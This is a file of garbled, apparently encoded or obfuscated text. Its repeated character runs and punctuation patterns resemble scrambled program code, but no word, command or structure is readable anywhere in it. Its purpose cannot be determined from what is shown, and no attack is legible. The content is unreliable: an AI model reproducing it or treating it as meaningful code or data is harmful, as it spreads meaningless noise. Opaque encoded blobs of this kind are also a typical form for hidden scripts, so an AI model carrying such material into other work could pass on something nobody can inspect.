^EUXXDAMMM[_
 EXXYDEDDVgMMME9MMMMMMI

ZDMMMg]Y\
\[ZET2_\_\EUX[DAMI

ZDVggggMMMME(MMMI

ZDMMMggMgMgMMMMMXU^YXTZEDgMMMMMgMMggggMMIZX MMMPMMMMM] UX_^^EDVgMMMMMELIZX MMMMMMM2[
^EZ]TDEIZX DMMQMMMMMET^[@Y^[DDMVgMMMEL]TX^EIZX DDMgM]Y\
\[ZE]]
X_EUXZDAMMM[_
 EUXUDDVggggVgMggggMMME[_
 EUX_DE]]
X_EX]\DDMMKKMM
2E[_
 EUXTDDDMMMMMVgMMMMgIZUZ^MMMPMMM	2	TY_
TEDVgMEDVgMMMMMME-[_
 EZTTDEIZUZ^DMMMMMKKMMMML-]]
X_EU^\DEIZUZ^DDMMMMI_
Y]PY[[VI[[PI_
Y]H\XVgVgMMMMMMMgMgMMMEL-[_
 EU^\DEIZUZ^DDMMMMMMgI2
_MMMMPMM- E]DVgMMZ^\2 EIZUZ^AMMEY]YFUTDAMDVg- EI2
_DVgM    ^U]EIZUZ^AMMMMEY[TF_YDDVgMEDVgMMMMMMMMMMMMMEL-[_
 EU[]DEIZUZ^DMMML-]]
X_E\UXDEIZUZ^DDMgBBMM@ M	@ggMMMM    ^U]EIZUZ^AMMEYUXFUDDVI]Z^P_^T__ZVI^U
^]PI]Z^3\TVggggMMMMMEDVgMMgMMMMgMMMMME-T2_\_\EU^\DEIZUZ^DMMMKKMMMMEL-T2_\_\EU[]DEIZUZ^DMMMMMML-T2_\_\E\UXDEIZUZ^DDMMKKM-T2_\_\EU_ZDEIZUZ^DDMMMgMMI2
_MMPMMM- E]DVgMZ^\2 EIZUZ^AMMMMEXY]@YZDAMMMMMDVg- EI2
_DVgM    ^U]EIZUZ^AMEYT_F\DDVgMMMMEDVggMMgMggMMMMMMMEDVgMMMEL-]]
X_EU^\DEIZUZ^DMMMML-T2_\_\EU[\DEIZUZ^DMMMMML-[_
 EU[]DEIZUZ^DDMg]Y\
\[ZE]]
X_EUXZDAMT2_\_\EU[_DDVgMMMME[_
 EUX_DE[_
 EU[^DDDMM-2E]]
X_EU[YDAMM\AME[ZZZ@^\ZZDDVgVgMggMMgMMMMMI[   MPMMIZUZ^MMMMCMJBJMMCMM	 U[\EDVggME	2 
UXUTEI[   DDMMMgMVgggggggME-[_
 EU[XDEI[   DMMKKMMMM-T2_\_\E_\]DEI[   DMSMMEYTU_F\UDMKKMT2_\_\EU[[DE2
	

EE
DMMMMM-]]
X_EXYZDEI[   DDDMMMMMPPPMMMT2_\_\EU[[DEIZX DDMMMMgMMMMMYU	XT]2EI[   DVgMMMMM]
^XXU[YEDVgMMMM2Y[^U]TX	EDVgMMMMMVggggMMMMME-T2_\_\EU[ZDEI[   DMKKMMM-[_
 E_\]DEI[   DMMMSMMEYT__FZUDDMgI][_\ MMPMME
DMM-[_
 EU[UDEI[   AMMAMMMMAMMMM]AMMMMMME_]\]F_]U[DDVgMMMME]]
X_EUX\DEI][_\ DMMKKMMMMMMT2_\_\EZZDE[_
 E_\_DAMI][_\ AMMMMI2	 DMMKKM2 EI2	 6\0AMMT2 _U_ EDAMMMJSJDDMMMVgMMMEI][_\ AMMI2	 DVgMMMMMgMI[\	[X	 MMPMMMYY2T  ^\EI[   AMMMUT_[_YEIZX DDVgggMMMELI[\	[X	 MMMMMML-T2_\_\EU_UDEI[   DMMMMM-]]
X_E_\]DEI[   DMQMMMME]\	ZF]_\\DMMMMMMM]]
X_EU[[DE2
	

EE
DMMMM-[_
 EU[TDEI[   DDDMLPPMT2_\_\EU[[DEIZX DDMMgMMMMMEI[\	[X	 MKKM-2[
^EUZ]DEI[   DDMMMMgMI][_\ MPMMMME
DMMM-2[
^EUZ\DEI[   AMMAMMMMMAMM]AMEX_XU@\\[_DDVgggMI 	_	[MMPM[_
 EUX\DEI][_\ DMMMMMMKKMMMM[_
 EZZDE]]
X_E_\_DAMMI][_\ AMMMMMI2	 DMMMKKMM2 EI2	 6\0AMMT2 _U_ EDAMMMMMMJSJDVgMMMMMMMMEI][_\ AMMI2	 DVgMMELI 	_	[DMMMMggggMMMM    ^U]EI[   AMEZ_X@^]XDDVgM__2EI[   DVggMMMMMMgMMET2_\_\EUX_DE[_
 EU[^DDDMM-2E]]
X_EUZ_DAMMM\AMMMMME^]][FXTYDDVgMMMVI_]]	XPTTZ^VI2
XPI_]]	XH_VgMgBGM MMGBggMgM\\_ EI[   DVgMMMM    ^U]EI[   AMME_U]F\_DDVgMYU	XT]2EI[   DVg]
^XXU[YEDVgggMMMMM2Y[^U]TX	EDVgMMMME9MMI

ZDMMMMgMM]Y\
\[ZE2[
^EUZ^DAMMI

ZDVgMMMMMMMMMMMMME(MMMMMMI

ZDMgBBM:=M#
M/MM		ggMMMMMggggMgMMMMMMMMMZ 
	\[EDgMMMMMMMMgMMMMgMMIZX MMPM] UX_^^EDVgMEIZX MKKMLY ]^]XEIZX DDMMgI2
_MMPMMM_		T
U_E[_
 EZUXDAMMMMOODVgMMI^]_MMPMMMM_\Z 2E2[
^EUZYDEI2
_DMRMMMI2
_MMMWMMMMOODVgMMMI^]Z	MMPMMM_\Z 2EIZX DVgMEL]]
X_EUZYDEI2
_DMMMMMMMM2[
^EZ]TDEI2
_DMQMMME___F_ZUDMMMMMMMMY ]^]XEI2
_DMMI^]_MMMPPPMOOMMMMMMMMEI^]Z	MMMMMLPPMMOOMKKM2 EI^]Z	AMMMMMI^]_AMJSJDDDMgU2_T
Z
E2[
^EZUXDAMMMIZX AMM2[
^EUZXDDVgggMMET2_\_\EUX_DE[_
 E^[UDDDMMMMggggMM-	2E[_
 EZYXDAMMM]AMT2_\_\EUZ[DDVgMMMM-	2E[_
 EZY[DAMMM]AMMMMMM]]
X_EUZ[DDVgMgggMM-	2ET2_\_\EXU[DAMMM]AMMMT2_\_\EUZ[DDVgMgMMMMMMME[_
 EUX_DE[_
 EUZZDDDMM-	2EZYU_YTUEDDVggMgMMMMMgMMMMET2_\_\EUX_DE[_
 EZ[^DDMMKKMMMMT2_\_\EUZUDE2[
^EUZTDDDMMMMgMMMMI	Z2[X UMMMMPMM
2E2[
^EUU]DDVgMMMMMMMMMMMEI	Z2[X UMLPPMMMKKMMMI	Z2[X UMMLPPMT2 _U_ EDDMMMgM-	2ET2_\_\EUU]DAMMMMT2 _U_ EDAMMM2[
^EUU\DDVgMggMMMMMMMMELMMM2[
^EUZUDET2_\_\EUU_DDMMMMMLMM		2E[_
 EUU]DAMMMMMT2 _U_ EDAMMMMOOAMT2_\_\EUU\DDDMMMMMMgVgggMgMM
 ZX_EDVgMMMMME[_
 EUU^DE[_
 EUZTDDDMMMgM-	2E[_
 EUUYDAM]AMMT2_\_\EUU\DDVgggg-	2ET2_\_\EZY[DAMMM]AMM2[
^EUU\DDVIY
X		PUU\]VI\Z
T PIY
X		H\ZVgMM-	2E2[
^EXU[DAM]AM2[
^EUUXDDVgggggMMMMMMMMET2_\_\EUU^DET2_\_\EUU[DDDM-	2EZYU_YTUEDDVgMMgMMMMMMMMEIZX MKKMMLY ]^]XEIZX DDMgU2_T
Z
E[_
 EUUZDAMMIZX AMM]]
X_EUUUDDVIYP@[YZVI][X_PEIYS]DRIYW@IYVgMMMMMMgMMMMMMZ
Y[EDVggM    ^U]ETXXEDAMME]UF]TUDDVgMgMMMMMMU		
E2[
^EUUTDAMM]]
X_EYTUDAMM]DVgMgMMMU		
E[_
 EUT]DAMMM2[
^EUT\DAMM]DVggMME9MMI

ZDMMgM]Y\
\[ZE]]
X_EUT_DAMMMI

ZDVgMMME[_
 EUU^DE2[
^EUT^DDDM-	2ET2_\_\EUU]DDVgMMME(MMMMMI

ZDMMMgMMET2_\_\EUU^DET2_\_\EUT^DDDMM-	2E2[
^EUU]DDVI ]
 	[PE]F]U]DVI	X\
_PI ]
 	[H^VgMgMMMgMMMMM 
\ T2_[EDgMMMI^_Y
TXTP^ZF^XVIT_TT2YPI^_Y
TXT@\YVgMMMMMggMMMMME[_
 EUU^DE]]
X_EZZ\DDDMgM-[_
 EZZ\DE 2EJBJDAMMMMET2_\_\EUTYDMMPSMMMMMEY^3Y[DAMM2[
^EZ[]DMMPSMAMMMMM]]
X_EY^_DMMMMMMPSMMMMDDVgMggMMMME9MI

ZDMMMgMMMMMMMM]Y\
\[ZE[_
 EUTXDAMMMMMI

ZDVgMMMMMMME(MMI

ZDMMI
TP\FXXVI\Y [TPI
T@^^VgggMgggggMMMMMgMMMMMMM\^	2Y22EDggMMMMMI
_TMMPMMMVgMMMMMMMMMMEI
_TDMMMVgMMMI
_TMMMMPMMVgMMMMMMMgMMMMMMMMELM2[
^EUU^DE2[
^EUT[DDMMMMMLM2	 EDDMMggMMVgMMMMgMMMMEL2[
^EUTZDET2_\_\EU\^DDMMML22E]]
X_EUTUDDDMMMMgBBM:=M. M!WMM @ ggMMMMVgMMgI
2[Z^YMPMMEI2?(<8(>96T2_\_\EUTTD0DMRMI2?(<8(>96]]
X_EUTTD0MMMWMMOOVgMMI
2[Z^YMMMPM2[
^EUZYDEI
2[Z^YDMMRMMMMM2[
^E[[_DEI
2[Z^YDMMMMMWMMOOVgMMEI
2[Z^YMMLPPMM[_
 ET]]DMMMMKKMI
2[Z^YMMMLPPMT2_\_\ET]\DDMgMMMMMVgMMMgMMMMMMMgMMI\Y]MMMMMPMMMEDVgMMMMMMMEI
2[Z^YMMMMMMPPPMT2_\_\ET]]DDMMgMMMI	\TY^
]MMMMMPMEI2?(<8(>96]]
X_E[UXD0DMMMMRMMMI2?(<8(>96]]
X_E[UXD0MWMOOVgI	\TY^
]MMPM2[
^EUZYDEI	\TY^
]DMRMMMMMT2_\_\E[[_DEI	\TY^
]DMMMMWMMOOVgMMMMMEI	\TY^
]MMMKKMMMI	\TY^
]MMMLPPMM\2[_U2EDDMMgI\Y]60MPMMMMI	\TY^
]VgMMMMgMMMgMMMggMMI^
ZMPMEI2?(<8(>96[_
 ET]_D0DMRMMMMI2?(<8(>96[_
 ET]_D0MMMWMMMMMMEDVgMMMMMMMI^
ZMMMMPMMMMMM[_
 EUY]DEI^
ZDMRMI^
ZMMMWMEDVggMMEI^
ZMMMMMMMI	\TY^
]DMMgMMMI	\TY^
]MMPMMM]]
X_ET]^DEI	\TY^
]DMMRMMMMM2[
^E[[_DEI	\TY^
]DMMWMMOOVgMMMMMEI	\TY^
]MMMKKMMI	\TY^
]MMLPPMM\2[_U2EDDMMMMI]2YPTG^VIT^_YU\XPI]2Y@X]VggI\Y]60MMPMMI	\TY^
]VgMMMMMMMMgMgggMMMMMMMME EI\Y]DDMMggMMMMVgMgIZXU		[2MMPMMMVgMMMMMMEI\Y]MMMMMMMI	\TY^
]DMMgggMMMME2	\
XEI	\TY^
]DDMgM[TUU ZEI	\TY^
]DVgMMMIZXU		[2MMMMMPMVgMgMMMgMMMMMEIZXU		[2DMMgggMMME2[
^EUTZDE[_
 ET]YDDMMMMKKMM[_
 ET]XDET2_\_\ET][DDDMI
	T2]__PXU]XVI2^PI
	T2]__H\[VgM22	E	 2ET2_\_\ET]ZDDDVgMgMMMMMMMggMMMME9MMMMMI

ZDMMg]Y\
\[ZE[_
 ET]UDAMMMI

ZDVgMMMMMMMMMMMMME(MMMI

ZDMMMMggMMgMMMM	T_	EI2]22]U\]AMI_ZTDgMgMMMMMMEI_ZTMMPPPMMMM]]
X_ET]TDDMggI
MMPMMMMKI*!"/,!>6T2_\_\ET\]D0VggggMELEI
6[_
 ET]TD0DMMLT2_\_\EUY]DEI
6[_
 ET]TD0DDMgMMMMMMMMMMI2]22]U\]VgMgMMMMI2]\ U]MMPM		E2[
^E^]]DDMMRMM:=2."#9(#92)$?MMWMMME		E[_
 ET\\DDMRM,/>=,9%MMMCMMM]]
X_EUY^DMWMMMMOODVgMMMMMMEI2]\ U]MMMMMMPPPMMOODMgMMMMMMMMI2]22]U\]VggBBM:=M(M?	MMMggMMI_[Z
YMMPME]]
X_ET\_DMMMPSMMT2_\_\ET\^DAMMMMT2_\_\ET\YDMPSMM]]
X_ET\XDDVgMEI_[Z
YMMMMMMMMI \[\YTMMMMMMPSMMMIZ_XT
U		DMI
 T_PE][_F]T	DVIY	U\PI
 T_HUVgMMMMELEI
6[_
 ET]TD06I \[\YT0DDMMMggMVgggggMMI^UT\ZUXMPM-[_
 ET\[DEI2]\ U]MMCMMMJBJMCMI \[\YTDVgMMMMMMMMMEL]]
X_ET]^DEI^UT\ZUXDMMM2[
^ET\ZDEI^UT\ZUXAM]]
X_ET\UDMMMMCMMMMIZ_XT
U		MMCM[_
 ET\TDDMMMPPPMMMMMDMgMMMVggMgMMMI 2Y 

_MMMMPM]]
X_EYT]DE]]
X_ET_]DMCMMMMMIZ_XT
U		MMMMMMCM[_
 ET_\DMMMMCMMIZ_XT
U		MMMCM[_
 ET__DAMMMMOOAMI^UT\ZUXDVgggMMEL[_
 ET_^DEI 2Y 

_DDMMMggMMMVgMMMMggggMI 2Y 

_MMMPM[_
 E[[_DEI 2Y 

_DVgMEI 2Y 

_MMPPPMOOMMMMMMMMI 2Y 

_MMPPPMMMMT2_\_\EZYZDMMMMMMMI 2Y 

_MMMPPPMM[_
 E_X_DDMMgBBM:=M>M!
MM		ggEI
62[
^ET]TD06I \[\YT0DVgMMMgMMMggMMMMMI2]22]U\]VgggMMgMMMMMEI_ZTMLPPM]]
X_ET_YDDMgMMMMI2]22]U\]VgMMgMI
MMPMKI*!"/,!>62[
^ET\]D0VgMMMMMMI []2
[MMMMPMMMMMM]]
X_ET_XDETXXEDDVggMEEI
62[
^ET_YD06I []2
[0DDMgMMEI
6T2_\_\ET_[D06I []2
[0DVgMMMMgMMMMMI2]22]U\]VgMgMMMMMEL[_
 ET]XDE2[
^ET_ZDDDMMMMMgMMMMMMMMMMM\\X	[\EDgMMMMMgMMMMMELMYYU2  2\[EDDMMgVgMgggIYTX]	MMMPMM]]
X_ET_XDETXXEDDVgI]_
] MMPM[_
 ET_XDETXXEDAMMMM[_
 EUY_DDVgMMMMMMI^MPMMMI]_
] MMCMMMJBJMMCMIYTX]	VggggMMMM2[
^ET_UDMMCM2EIYTX]	DMCMMM]]
X_ET_TDMMMMMMCM2EI^DMCM[_
 ET^]DVgMMMMMM]]
X_ET^\DMMMCMMM2EIYTX]	DMCMMMM]]
X_ET^_DMMMCMMM2EI^DMMCMM]]
X_ET^^DVggggMggMMMMMMgMMMMEL]]
X_ET]XDET2_\_\ET^YDDDMMMMgMMMMM [ 
22EI[]2[DggMMMELMMMMMT2_\_\ET^XDEI[]2[DDMMMgMMMI[]2[VgMgIYTX]	MMMPMM\2[_U2EDVgMMMMMEEI[]2[@S6IYTX]	0DDMgEI[]2[@S6IYTX]	0DVgMMMMgMMMMMMI[]2[VgggMMgBBM	MgggMMMMMMMELT2_\_\ET]XDE2[
^ET^[DDDMggMMMMMMZ[X
EI
DgMMMgMMMI [X\MMMPM\2[_U2EDVggggMMMMMMEEI
6I [X\0DDMMgMMMMMMMEI
6I [X\0DVgMgMMMMMI]_
] MMPMM]]
X_ET_XDETXXEDAMMMM]]
X_EUY_DDVgMMMI^MMPMI]_
] MMCMJBJMMCMMMMMT2_\_\ET_XDETXXEDDVgMMMMMMEEI
6I^0DDMMgMMEI
6I^0DVgMMMgMMMMMMMMI
VgMgMMMMggggMMYU
\
2	\EI22DgggMMMMELMMM2[
^ET^ZDEI22DDMgMMMI22VIZ
 YY^	PUY_XVI\22XXPIZ
 YY^	3T[VgggggMMMIZ_X	MPMOOVgMMMMMME2[
^ET]XDE2[
^ET^UDDMMKKMMMM]]
X_EU_UDETXXEDDDMMMMgMMMMMMMI2^Z_ MPM
2
2	ETXXEDAMMMMAMMDVgggMIZ_X	MMMPMMMMMEI2^Z_ 6]]
X_ET^TD0DMRMMMMMMI2^Z_ 6T2_\_\ET^TD0MMMMWMMOOVgggMgMMMI2U 2MMMMMPMMMMET2_\_\ETY]DAMMMMM2[
^ETY\DDVgMMMMEI2U 2MMMI
T2DMMMMgMMMMMMMMMMELMMEI226I
T206]]
X_ETY_D0DMMMMMMMLMM2[
^ET^ZDEI226I
T2062[
^ETY_D0DDMMMgMMMMMVggMMMMMMMMEI226I
T2062[
^ETY^D0MMMMMIMMMPSMMMMIY\DMgMMMMMME2[
^ET\ZDEIAMM\2[_U2EDDMMMLPPMMMMMMIMMPPPMMMMMM\2[_U2EDDMgggMMMEI226I
T206T2_\_\ETY^D06I0DVgMVgMMMMMMMMgMMMMMEIZ_X	MMMMLPPMOOMMKKMIMMMMPPPMMMIZ_X	DMMMMMMgMEI226I
T206[_
 ETYYD06I0DVgMVgMMMMMMgMggMMEE]]
X_ETYXDAM]]
X_ETY[DDMMMMMMI Z 
DMMMgBBMMMggIX[\	]MMMMMPMMMEI226I Z 
06[_
 ETYYD0DMMKKM[_
 ET^ZDEI226I Z 
06T2_\_\ETYYD0DMMMRMMMMMI226I Z 
062[
^ETYYD0MMWMMMMEDVgMMMELIX[\	]DMVgMMMIUX] [MMMPM		E]]
X_E[^YDDMMMRMMM:= 82=!8*$#2)$?MMMMMWMMME		E2[
^E^]]DDMMRMM:=2."#9(#92)$?MMMMCMMM2[
^E\XDMMWMMMMMOODVgMMMMMMMI	[\_\_Z[TMMMPMEDVgMMMMEIZ_X	MMMMLPPMMMMOODMMMMI	[\_\_Z[T60MMPMMIZ_X	VgggMI	[\_\_Z[T60MMMMPMMM]]
X_ETYZDETXXEDDVIZT\P_^UXVI2UPIZT\HXVgMMMMMMMMMEIUX] [MLPPMMMOOMMKKMM-2[
^ETYUDEIUX] [DMMMMKKMM]]
X_ETYTDE2[
^EUY[DDDMgMMMMMEEDM-2[
^EUY[DEIUX] [MMMMMMCMMM]]
X_E[^ZDDMMMMMIXDMMMMMMgMMI
[]	MPMMM-]]
X_ET\[DEIXAMMAMMMMMAMMM]AMMME\_U]T@Y[\ZDDVgMMMMMMEL[_
 ET_^DEI
[]	DMMMMMT2_\_\ET\ZDEI
[]	AM]]
X_ETX]DDMMPPPMDMVI
]
[\P\X^U^VI\
TY	ZPI
]
[\3\UYVgMMMMMME[_
 EZZDE2[
^ETX\DAMI
[]	AMMMIZ_^^DDMgMMIY	\XMMMMMPMM[_
 E[[_DEIZ_^^6\0DVgMMEIY	\XMLPPMMMOODMI	[\_\_Z[T60MMMMPMMMIY	\XVgMgMMMMMI	[\_\_Z[T60MPMMM2[
^ETYZDEIXDVgMMMMMgMMgMMMEIX[\	]MMMMMMMIMMPSMMMMIY\DMMMgMMEI	[\_\_Z[TMMMMMMMI

YT XDMMMgMMMMMMMMMMEIMMPPPMMMMI

YT XMMMMMMMIMMMPPPMMMM22	EI

YT XDDMMMMMMgMEI226I Z 
06]]
X_ETYYD06I0DVgMMMVgMMMMgMMMgMMMMggMI
MMMMMPMMEI226[_
 ETX_D06T2_\_\ETX^D0DMKKMT2_\_\ET^ZDEI226]]
X_ETX_D06T2_\_\ETX^D0DMRMMMMI2262[
^ETX_D06]]
X_ETX^D0MMWMMMEDVgMMMEI
DMgI2]\ U]MPMMMM		E[_
 ETXYDDMRMMMMMM:=2."#9(#92)$?MWME		E[_
 ET\\DDMMMMMRM,/>=,9%MCMMM[_
 EUY^DMWMMMMMOODVgMI_[Z
YMMPME[_
 ET\_DMPSMM[_
 ET\^DAMM]]
X_ETXXDMMMPSM]]
X_ET\XDDVgggMMMEI
MMMIMMMMMPSMMMIY\DMMMMgMMMMMELEI_[Z
Y6I0DMMMMMI2]\ U]MMPPPMMMOODMMMMVgMMI^UT\ZUXMMMMPMM-T2_\_\ET\[DEI2]\ U]MMCMJBJMCMMMMMMIAMMAMMMAMMMMM]AMEY^]T@_\^DDVgMET2_\_\ETX[DEI^UT\ZUXDMMKKMME]]
X_ET\ZDEI^UT\ZUXAMMM[_
 ET\UDMMCMMI_[Z
Y6I0MMMCMM]]
X_ET\TDDMMLPPMMMMMMMM2[
^ETXZDEI^UT\ZUXAMMMT2_\_\ETXUDDMMMLPPMMMMMMDDMgMMEI2262[
^ETXTD06]]
X_ETX^D06I0DVgggMMMgggMgMMMMgMMMI22VggMMMMMgMMM	UYYZ[	U^EI][UUDgMMMMMMgMMMMMMMMELMMMM]]
X_ET[]DEI][UUDDMMgMMMMI][UUVgMMggMMMMMMIY[\XTMMPMMMMMT2_\_\ET[\DETXXEDDVggIU^
\MMPMMMMMMT2_\_\EU]]DEIY[\XTAMMMMMM=,9%$#+"2+$!(#, (DVgI]ZMMPMEgMMMET2_\_\ET[_DMMPSMJNJMMMMMCMM[_
 ET[^DEIY[\XTAMMJNJDMMMCM]]
X_ET[YDAMMM[_
 ET[XDMMMPSMMDAgMME2[
^ET[[DMMMMPSMM]]
X_ET[ZDMCMMM2[
^ET[^DEIU^
\AMMMJNJDMMCMM2[
^ET[YDAMM[_
 ET[XDMMMPSMDAgMMDVgMMMMMMEEI][UU62[
^ET[UD0DMKKMM2[
^ET[]DEI][UU6[_
 ET[UD0DDMMMMgMMMMMMMEI][UU6]]
X_ET[UD0MMMIT_[2MPSMMI 2]Z2DMMgMMMMMELMMMMMT2_\_\ET[]DEI 2]Z2DMMMMMLMM2[
^ET[TDEIT_[2DDMMMgVgMMMMMMMgMMELMMMMMEI][UU62[
^ETZ]D06IT_[206T2_\_\ETZ\D0DMMMMMLMMM]]
X_ET[]DEI][UU62[
^ETZ]D06IT_[206[_
 ETZ\D0DDMMgMMMI][UU6]]
X_ETZ]D06IT_[206T2_\_\ETZ_D0MMMPMMMMMEDVgMMMgBBM	M

MM:=M!M=ggMMMEI]ZMMMMMI [Z ^YDMMMMgMMMMMMI][UU6T2_\_\ETZ^D06IT_[2062[
^ETZYD060MMMMMPMMMMI [Z ^YVggMMMMMMMgMMgMggMMI][UUVgMMggMMM\X
\Y^
EDgMMMggggMMggMMMMMMMMELMMMMM		E]]
X_ETZXDDMMMMMMMME]]
X_ETZ[DDMMMQMMMMEXZ3[_DDMMMgMVgMMMMgMMMME]]
X_ETZZDE[_
 ETZUDAMDDMMMgMMMVI^	\ X	PE]ZF]DVIU2[\\PI^	\ X	H\^VgMMMMMMMgMI^YXMPMM]]
X_ETZTDETXXEDDVgMMMI2__	]MMMPMMMMMM		E2[
^EU__DDMMMRMM:=2=!8*$#2)$?MMMMWMOOVgMI2_\XMPMMMEgggMMMMMMMMI2__	]MMMMCMM2[
^ETU]DAgI2__	]MCMMMM[_
 ETU\DAgMMI2__	]MMMCMMMMT2_\_\ETU_DAgMMMMMMMMDVgMMMMMMI^\2UYXTTMMPMOOVggMMMMMMMMMMEI2_\XMMMMMMMIYTX]	DMMMgMMMMEIYTX]	MLPPMMMOOMMMMKKMM-T2_\_\EUZ]DEIYTX]	DMMKKMMM-2[
^EU[]DEIYTX]	DDMgMI^\2UYXTTMPMMMMIYTX]	VgMVggggBBM ><!M	MWM	MggMMMMMMMEI^\2UYXTTMPPPMMMOODMMgVggggMgggMMI	
2 
^MMMPMMMMMMT2_\_\ETU^DEI^\2UYXTTDVIXUPT^YVI Z	U[ZYPEIXUS]DRIXUW@IXUVgMMM2	2
EMEIT2
^^_DMMMMMMMEI	
2 
^DMgMMMMMEEI	
2 
^MMMMMMCMMMJBJMMCMMMIT2
^^_MMCMMMMM2[
^ETUYDAMMMI	
2 
^MMMMCMMMMMJBJMMCMMMMIT2
^^_MMCMMM2[
^ETUXDDMMMMMMMIY T\DMMgMMMMMMME-[_
 EUZ]DEIY T\DDMMgggg	2MMIY T\VgVgMMggMMDVgMI]_]XMMPMM-[_
 ETU[DEI^\2UYXTTDVggggMMEI]_]XMMMMMMPPPMMMMMMT2_\_\ETUZDEI]_]XAMMMMT2_\_\ETUUDDMMMMMMPPPMDMMgBBM:=M/M9 WM	@@M @ ggggMVggMI]_]XMMPMM[_
 EYT]DE[_
 ETUTDAMMMOOAMMMI]_]XDVggggMMMMMMMI]_]XMPM2[
^ETT]DE[_
 ETUUDAMM[_
 ETT\DAMMI]_]XDVgMIZ]MMMPM\^	]X\ XE\ __EDAMM]]
X_EU^TDDVggggMMMMMMEIZ]MMMMPPPMMDMMMgBBM=%=MUC^M	MMggMMMMMMMVgMMMMMgMMM-]]
X_E\TTDEIZ]AMM[_
 ETT_DMMMCMMMI]_]XDVgMMg-	MMIZ]VgMMMMMMMgMMMMM__2EIZ]DVgMMMgBBM ><!MUM.9(WMM@gggMMMMMMMI^\ 	2Z[YMMPMMM2[
^EU]]DEI^YXAM=,9%$#+"2+$!(#, (DVgMMMMMMMMI*!"/,!>6]]
X_ETT^D0MMMPMMI^YXVgMI*!"/,!>6[_
 ETTYD0MMMMPMMMI^\ 	2Z[YVgMMMMMMMMIZT_
MPMMT2_\_\ETTXDgggMMMMMCMM[_
 ETT[DggggCMM2[
^ETTZDgCMMMM2[
^ETTUDgCMM[_
 ETTTDgMMMCMMMMJJgMMMMCMMM[_
 E\]]]DgMMMMCMMJJgCMMMMJJVgMMMMI^[\
UMPMM\^	]X\ XE\ __EDAM[_
 EU^TDDVgMMMEI^[\
UDMMgM-2[
^E\TTDEI^[\
UAMMMIZT_
DVgMMMMg-	MMI^[\
UVgMMMMMMgMM__2EI^[\
UDVgggMMME9MMI

ZDMMgg]Y\
\[ZE2[
^E\]]\DAMMMMI

ZDVgMggggMMMMME(MMI

ZDMMMMMMgBBMMggMMMgMgMMMEL2[
^ETYTDE2[
^E\]]_DDDMgMMMUYZ]2YYEIX 2[ AMMI[XY]]
DgMMMMMMgMMMMELMM]]
X_ET[]DEIX 2[ DDMMMMgMMMMMMMMMIX 2[ VgggMMMMgMMMI^\YMMMMPME[_
 E\]]^DAMMMMM2[
^E\]]YDAMMMM[_
 E\]]XDAMMMMMM[_
 E\]][DAM]]
X_E[]YDDVI
ZP_^[ZVI
_2U	PI
ZH\ZVgMMMMMMEI^\YMMMMIDMMMgMMMMMMMMMELMMMEIX 2[ 6I0DMMMLM2[
^ET[]DEIX 2[ 6I0DDMgMMMMVgMMgMIT  \ \ MPMEDVgMMMMMMMEIX 2[ 6I0MMMMI _Z^DMMMgMMMMMELMMMT2_\_\ET[]DEI _Z^DDMgIT  \ \ 60MMMPMMI _Z^VgVggIY]	_2Y	MMMPMMMEI _Z^62[
^E\]]ZD0DMMMRMMMMMI _Z^6T2_\_\E\]]ZD0MWMMOOVgMI^\ 	2Z[YMMMMPMEI*!"/,!>6T2_\_\ETTYD0DMMRMMI*!"/,!>6[_
 ETTYD0MMMMMWMMMOOVggggMMMMMMMEIY]	_2Y	MMMMMPPPMMI[XY]]
MMMMMMMMEI^\ 	2Z[YMLPPMOOMMMMKKMIY]	_2Y	MMPPPMI^\ 	2Z[YDDMMgMVggMMMMMMgMIT  \ \ 60MPMMMUYZ]2YYEI _Z^AMMI[XY]]
DVgggggMMIX 2[ 6I0MMMPMMMIT  \ \ VgMMggMMIX 2[ VggMgMMM	_Z_]\2\EDggMMMMMMMgggMMMMMMME[_
 ETYTDE]]
X_E\]]UDDMMMKKM
2ET2_\_\E\]]TDDDMMgMMMMMMMMVgMgI][] MPMMM-[_
 E_\]DETXXEDDVgMMMMMMMMMMEI][] MMMKKMI][] MMMMSMMEYT_]FU]DMKKMI][] MMQMMEYTTTTT\FTDMMMMMMKKML	2 
UXUTETXXEDDDMgBBMMggMMIX][ ^\MMPM-]]
X_ETU[DETXXEDDVgMMET2_\_\ETX[DEIX][ ^\DMKKM[_
 E\]\]DEIX][ ^\DMPPPMMI][] MMKKMMM]TX^EIX][ ^\DDMMgMMMMMMEYY2T  ^\ETXXEDAMMUT_[_YEIX][ ^\DDDMMMMMgBBMMggMM\\_ ETXXEDDVgMYU	XT]2ETXXEDDVgMMMMMgMMggggEIX][ ^\DVgggMMgI^[2 ^MMMPM-]]
X_E_\]DETXXEDDVI2^Z^]PE]YTF]XDVI2_^PI2^Z^]H^VggggI 2X2	MMMMPMMI^[2 ^MMMKKMI^[2 ^MMMSME]YYXF]Y^DVggggMMMMMMMMEI 2X2	MKKMMMI^[2 ^MSMMEX_Y_UZ[ZF^^DDMgMMMMMI 2X2	MPMVgMMMgMMMMMMMEI 2X2	DMMgMMI[X
MPMM-[_
 E\]\\DETXXEDDVgMMME[_
 ETX[DEI[X
DMMMKKM]]
X_E\]\]DEI[X
DMMMMSMMMME\]YUXX[F_]DDMI[X
MPMMMMM2
	

EI[X
DVgMMMMEL2[
^ETX[DEI[X
DMMMMML]TX^EI[X
DDMMgI 2X2	MMPMMVgMMMMMMgMMIU
YX]2UMMMMPMMM_		T
U_ET2_\_\EUUZDAMOODVgMMMIX[2
MMPMMMM_\Z 2EI[X
DVgI]Z2Z^UMMMPMM_\Z 2ET2_\_\E\]\_DEIU
YX]2UDMMMRMIU
YX]2UMMMWMOODVgMMEIX[2
MMMMMLPPMMMOOMMMMKKMMMEI]Z2Z^UMMPPPMMMMMMOOMM2 EI]Z2Z^UAMIX[2
AMJQJDDDMMgMMMMMMMMI\X^X UMPMMM2[
^EU[[DEI[X
DVgggMI2
XT
Z
MMPM-2[
^EUZ]DE]]
X_ETU^DETXXEDDMCMT2_\_\E\U]DMMMCMMMI\X^X UDVgMMMMELI2
XT
Z
DMMMIXU]P=%=2 ,'"?2;(?>$"#VI	]X^T\]PIXU]G\VggMMMMMMMMIX]2	MMMPM
2E]]
X_E\]\^DDVgMME2[
^E\]\YDEIX]2	DMMKKMMMMM2[
^E\]\XDEIX]2	AMMI\X^X UMMMMCMMJJDMMMPPPMM]MMMKKMM2[
^EXXYDEDMM@MEDMT2_\_\E\]\[DEIX]2	AMMM2[
^E\]\ZDEIX]2	AMMMJJDMMFM\DMMMQMMMMMMEU[^[ZF^^DDMI2
XT
Z
MPMMMMVgMMgMMMMMMMMEI2
XT
Z
DMMI 2X2	MMMPMVgggMMELI2
XT
Z
MKKMM]]
